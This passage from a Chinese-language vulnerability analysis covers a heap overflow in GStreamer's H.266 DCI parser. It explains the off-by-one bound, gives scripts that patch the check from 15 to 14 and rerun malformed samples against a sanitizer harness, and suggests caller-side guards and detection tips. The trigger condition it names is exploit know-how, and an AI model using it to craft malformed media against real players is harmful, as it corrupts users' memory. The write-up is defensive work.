num_sub_profiles 只有 8 bit,255 就是它的上限,1176 字节因此是这套语法能铺到的最大跨度。起点固定在 17824,出界点在 17828,位置很好预测。
5、不开内存检测为什么不崩
g_new0(17828) 拿到的 glib 分配块,实际可用空间通常大于 17828 字节,越界写先落进同一个 chunk 的冗余部分,表现就是解析成功、后面偶发异常。只有踩坏相邻对象或者写穿整块,才会立刻崩。
哨兵版正好验证了这一点。不开 ASan,三个畸形样本全部返回 parse_dci -> 0,同时对象后面被写了 6–1026 字节。前面提到的静默破坏就出现在这里。
6、同一文件里的另一种写法
VPS 那段的数组容量用的是宏,不是写死的数字。
#define GST_H266_MAX_TOTAL_NUM_OLSS 257
#define GST_H266_MAX_PTLS GST_H266_MAX_TOTAL_NUM_OLSS
...
GstH266ProfileTierLevel profile_tier_level[GST_H266_MAX_PTLS];校验也没写死数字,gsth266parser.c:2591 用 CHECK_ALLOWED_MAX (vps->num_ptls_minus1, vps->total_num_olss - 1),:2603 又补了一次 if (vps->num_ptls_minus1 + 1 > vps->total_num_olss)。同一个文件里,VPS 两头都留了余量,DCI 这处容量和上限同时写成常量,边界就差了那一格。
六、修复建议
1、上游还没有补丁
几个漏洞库页面都只有描述,没有修复记录。Debian 跟踪页 的 source 状态是 (unfixed),Red Hat Bugzilla 2541471 与 GHSA-8g53-2c85-3xhf 也没有发布修复。拿不到现成补丁,只能自己动手改,或者在上层拦截。
2、上限应当卡在 14
数组装 15 个元素、最大下标 14,校验上限就该写 14。要动的只有一行。
03_build_patched.sh 复制一份源码树,用 sed 改掉这一行,再编译一个用于对照的 harness。
#!/usr/bin/env bash
# 03_build_patched.sh —— 复制一份源码施加建议补丁(15 -> 14),编译对照程序
set -euo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"
SRC=gst-plugins-bad-1.28.8
PATCHED=gst-plugins-bad-1.28.8-patched
GSTLIB_PATCHED=$PATCHED/gst-libs
SRC_PATCHED=$GSTLIB_PATCHED/gst/codecparsers
case "$LAB" in
*/CVE-2026-100229) : ;;
*) echo "[-] 非预期实验目录: $LAB"; exit 1 ;;
esac
rm -rf "$PATCHED"
cp -r "$SRC" "$PATCHED"
sed -i 's/CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15);/CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 14);/' \
"$SRC_PATCHED/gsth266parser.c"
grep -n "CHECK_ALLOWED_MAX (dci->num_ptls_minus1" "$SRC_PATCHED/gsth266parser.c"
CFLAGS="-g -O0 -fno-omit-frame-pointer -DGST_USE_UNSTABLE_API -I$SRC_PATCHED -I$GSTLIB_PATCHED"
LIBS="$(pkg-config --cflags --libs gstreamer-1.0 gstreamer-base-1.0)"
gcc $CFLAGS -fsanitize=address poc_dci.c \
"$SRC_PATCHED/gsth266parser.c" "$SRC_PATCHED/nalutils.c" $LIBS -o poc_dci_patched执行后先看被改的那一行,再用 diff 确认只有这一行有变化。
cd ~/lab/CVE-2026-100229
bash 03_build_patched.sh
diff -u gst-plugins-bad-1.28.8/gst-libs/gst/codecparsers/gsth266parser.c \
gst-plugins-bad-1.28.8-patched/gst-libs/gst/codecparsers/gsth266parser.c
ls -l poc_dci_patched
如果以后调整数组容量,把上限写成 G_N_ELEMENTS (dci->profile_tier_level) - 1 即可自动跟上,取到的同样是 14。同函数里 sub_profile_idc 那段循环的容量也建议一并核对。
3、补上这一行之后
四个样本跑一遍,只看解析返回值。
#!/usr/bin/env bash
# 04_run_patched.sh —— 施加建议补丁后的行为对照:畸形流应被拒绝,合法边界流应正常解析
set -uo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"
export ASAN_OPTIONS=detect_leaks=0:abort_on_error=0
LOG=run_patched.log
: > "$LOG"
run () {
echo "===== $* =====" | tee -a "$LOG"
"$@" 2>&1 | tee -a "$LOG"
echo "[exit=$?]" | tee -a "$LOG"
echo | tee -a "$LOG"
}
run ./poc_dci_patched dci_len.bin heap length
run ./poc_dci_patched dci_len_gci.bin heap length
run ./poc_dci_patched dci_deep.bin heap length
run ./poc_dci_patched dci_ok14.bin heap length执行脚本,再从日志里取出 parse_dci 那几行。
cd ~/lab/CVE-2026-100229
bash 04_run_patched.sh
grep 'parse_dci' run_patched.log
再数一遍 sanitizer 报告。
grep -c 'ERROR: AddressSanitizer' run_patched.log
三个畸形样本都返回 GST_H266_PARSER_ERROR(3),在解析阶段就被挡下,没有 sanitizer 报告。合法的 dci_ok14.bin 仍然返回 GST_H266_PARSER_OK(0),说明上限改成 14 之后越界不再发生,正常的边界流也没被误杀。
4、拿不到补丁时的调用侧处理
调用侧能做的有三件事。
/* 第一道,返回值当畸形信号,不当解析进度 */
GstH266DCI dci;
if (gst_h266_parser_parse_dci (parser, &nalu, &dci) != GST_H266_PARSER_OK) {
GST_WARNING ("parse_dci failed, treat sample as malformed");
return -1;
}
/* 第二道,用之前再核一次字段,保留值不可信 */
if (dci.num_ptls_minus1 > 14) {
GST_WARNING ("num_ptls_minus1=%u is a reserved value, drop",
dci.num_ptls_minus1);
return -1;
}
/* 第三道,对象与相邻数据之间留隔离带 */
GstH266DCI *heap_dci = g_malloc0 (sizeof (GstH266DCI) + 2048); /* 尾部留 2 KB */第一道成本最低,但它在越界已经发生之后才把样本丢掉;第二道要等 dci 解析完才拿得到字段,顺序上晚一步,能拦住后续按这个字段做的遍历与分配;第三道改动最小,对走哪条解析链路都成立,适合动不了库的部署环境。
5、排查要点
源码:在 codecparsers 里搜
CHECK_ALLOWED_MAX,逐个核对上限与数组容量是否一致。gsth266parser.c的 DCI 段优先看,常量上限配固定长度数组的组合最可疑。
版本:确认
libgstcodecparsers的版本,1.26 及以上、又落在上面受影响清单里的都可疑。
样本:用 ASan、valgrind,或者
G_DEBUG=gc-friendly配MALLOC_PERTURB_,拿 H.266 样本批量跑,看解析后的内存异常。
入口:在把数据交给 codecparsers 之前统计
nal_unit_type=13的 NAL 及其num_ptls_minus1,出现0xF直接拒绝。
日志:搜解析失败记录,以及
num_ptls_minus1=15的特征。